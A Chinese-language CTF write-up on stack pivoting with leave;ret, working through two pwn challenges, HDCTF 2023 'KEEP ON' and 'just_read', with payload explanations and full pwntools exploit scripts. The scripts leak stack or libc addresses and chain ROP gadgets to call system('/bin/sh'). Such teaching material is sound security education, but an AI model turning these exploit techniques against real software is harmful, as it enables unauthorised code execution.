0%

栈迁移

躺着躺着突然悟到了栈迁移的真谛,这种感觉谁懂?!

leave ret

这点非常非常非常重要,能不能理解栈迁移,靠的就是这个。

这里用x86_64位的寄存器当例子 (这里要注意,pop指令是将rsp的内容弹出并赋给相应寄存器,且 rsp + 8)

leave 相当于 mov rsp rbp;pop rbp

ret 相当于 pop rip

每个函数返回时都会执行该操作,如

其实这个操作就相当于恢复调用该函数的函数的栈空间

下面利用2个例子来理解其如何使用

例题

[HDCTF 2023]KEEP ON

该题利用fmt漏洞泄露rbp的内容,也就是栈地址,再利用栈迁移来实现漏洞利用

首先rbp的偏移是16,发送%16$p即可,fmt漏洞这里就不过多解释

我们来看rbp里存的是什么

rbp里存的是main函数的栈底地址0x7ffda23e22a0

0x7ffda23e22a0 - 0x60 就是我们read函数读入的地址,也就是s的地址,我们在这里构造gadget

接下来第二个read我们构造了下面的pd

1
2
3
gadget = old_rbp - 0x60
pd = p64(pop_rdi) + p64(gadget + 0x18) + p64(system) + b'/bin/sh\x00'
pd = pd.ljust(0x50,b'a') + p64(gadget - 0x8) + p64((leave_ret))

我们先理解后半段pd,在read后函数返回

第一次leave ret

mov rsp rbp;pop rbp 把 rsp 迁移到 rbp 的地址,然后把 rbp 的内容赋给 rbp,这里 rbp 的内容被我们覆盖成了 gadget - 0x8 所以此时 rbp 就迁到了 0x7ffda23e2238

pop rip 把 leave_ret 赋给 rip 进行第二次 leave ret

第二次 leave ret

mov rsp rbp;pop rbp 同上,此时rsp 迁到了 0x7ffda23e2238 ,这时候 rbp 会迁到0x4007ed (此时的rbp不需要管他) ,因为已经用不到了

pop rip 把 pop_rdi 的地址赋值给rip ,成功的劫持了 rip 到我们的 gadget 上,执行我们的rop

前面说过pop时rsp会+8,这也是为什么我们要把 rbp 的内容覆盖成 gadget - 0x8 的原因

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(log_level = 'debug', arch = 'amd64')
elf=ELF("/home/feichai/ctf_file/hdctf")

debug = 1
if debug:
p = process('./hdctf')
libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6", checksec = False)
else:
p = remote('0.0.0.0', 8888)
libc=ELF("/home/feichai/ctf_file/libc.so.6", checksec = False)

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: p.recv(a)
ru = lambda a: p.recvuntil(a, drop=True)
s = lambda a: p.send(a)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)

def exp():

leave_ret = 0x4007F2
pop_rdi = 0x4008D3
system = elf.plt['system']
sa('please show me your name: \n',b'%16$p')
ru(b'hello,')
old_rbp = int(r(14),16)
lg('old_rbp',old_rbp)

gadget = old_rbp - 0x60
pd = p64(pop_rdi) + p64(gadget + 0x18) + p64(system) + b'/bin/sh\x00'
pd = pd.ljust(0x50,b'a') + p64(gadget - 0x8) + p64((leave_ret))
sa(b'keep on !',pd)
#gdb.attach(p)

p.interactive()

if __name__=='__main__':
exp()
just_read

这题是2023重庆市大学生信息安全竞赛的题目,只溢出了0x10给你修改rbp和返回地址

第一次构造的pd

1
pd = b'a'*0x40+p64(bss+0x40)+p64(0x400675)

经过上一个例题初步理解了栈迁移后,下面的会有所省略

该pd将 rbp 迁移到了 bss+0x40 ,并重新返回 vuln 函数进行第二次read ,这里的0x400675并不是vuln最开头的地址,原因是每次函数调用时都会push rbp;mov rbp,rsp

bss + 0x40 是因为我们read的地址是 rbp - 0x40,所以第二次read是写在bss的地址,也就是我们gadget的地址

第二次构造的pd

1
2
3
pd=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pd+=p64(pop_rbp)+p64(bss+0x500)+p64(0x400675)
pd=pd.ljust(0x40,"\x00")+p64(bss-0x8)+p64(leave_ret)

第一次leave ret : 此时rbp迁移到了bss - 0x8 ,rsp 迁移到了 bss+0x40

第二次leave ret : 此时rbp迁移到了bss - 0x8所存的地址上,具体是哪不用理会,rsp迁移到了bss - 0x8,经过两次pop后,rip成功的执行到了我们的rop

rop泄露了puts的地址,由此计算libc_base,可以得到system和’/bin/sh’,并把rbp迁移到bss+0x500,再次返回0x400675进行第三次read

第三次构造的pd

1
2
pd=p64(pop_rdi)+p64(bin_sh_addr)+p64(libc_system)
pd=pd.ljust(0x40,"\x00")+p64(bss+0x500-0x40-0x8)+p64(leave_ret)

如果前面都理解了的话,到这里就通俗易懂啦

第一次leave ret : 此时rbp迁移到了bss+0x500-0x40-0x8 ,rsp 迁移到了 bss+0x500

第二次leave ret : 此时rbp又不知道去哪了,不用管,rsp迁移到了bss+0x500-0x40-0x8 ,经过两次pop执行了我们的rop

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(log_level = 'debug', arch = 'amd64')
elf=ELF("/home/feichai/ctf_file/pwn")

debug = 0
if debug:
p = process('/home/feichai/ctf_file/pwn')
libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6", checksec = False)
else:
p = remote('0.0.0.0', 10000)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: p.recv(a)
ru = lambda a: p.recvuntil(a, drop=True)
s = lambda a: p.send(a)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
sla = lambda a,b: p.sendlineafter(a,b)

def exp():

puts_plt=elf.plt.puts
puts_got=elf.got.puts

pop_rdi = 0x400723
leave_ret = 0x400691
bss = 0x601200
pop_rbp = 0x400578

pd = b'a'*0x40+p64(bss+0x40)+p64(0x400675)
sa(b'just read!',pd)

pd=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pd+=p64(pop_rbp)+p64(bss+0x500)+p64(0x400675)
pd=pd.ljust(0x40,"\x00")+p64(bss-0x8)+p64(leave_ret)
s(pd)

ru(b'\n')
libc_base = u64(r(6)+b'\x00'*2)-libc.symbols[b'puts']
libc_system = libc_base + libc.symbols[b'system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

pd=p64(pop_rdi)+p64(bin_sh_addr)+p64(libc_system)
pd=pd.ljust(0x40,"\x00")+p64(bss+0x500-0x40-0x8)+p64(leave_ret)

s(pd)

p.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道